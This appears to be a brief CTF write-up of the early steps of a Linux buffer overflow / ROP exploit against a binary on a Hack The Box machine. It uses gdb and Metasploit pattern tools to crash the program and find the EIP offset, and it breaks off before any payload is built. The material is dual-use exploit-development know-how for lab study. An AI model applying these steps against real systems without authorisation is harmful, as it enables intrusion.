Linux Buffer overflow Data Execution Prevention(DEP) bypass with ASLR disabled

n00๐Ÿ”‘
4 min readOct 20, 2021

Note: this scenerio is in frolic htb machine.

ROP(Return-Oriented Programming) exploit-

  1. Download the binary into local machine for testing.
  2. Run the binary with gdb and pass a parameter. Parameter is getting printed back on the screen.
gdb ropr Golu

3. Creating and sending long pattern string:

/usr/bin/msf-pattern_create -l 100
r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

We got Segmentation fault!

We can use gdbโ€™s pattern create option also:

4. Finding offset:

a) Note the EIP value(b7Ab) and pass it to the pattern offset script:

/usr/bin/msf-pattern_offset -q b7Ab -l 100

Also we can use gdb offset option:

--

--

n00๐Ÿ”‘
n00๐Ÿ”‘

Written by n00๐Ÿ”‘

Computer Security Enthusiast. Usually plays HTB (ID-23862). https://www.youtube.com/@pswalia2u https://www.linkedin.com/in/pswalia2u/ Instagram @pswalia4u

No responses yet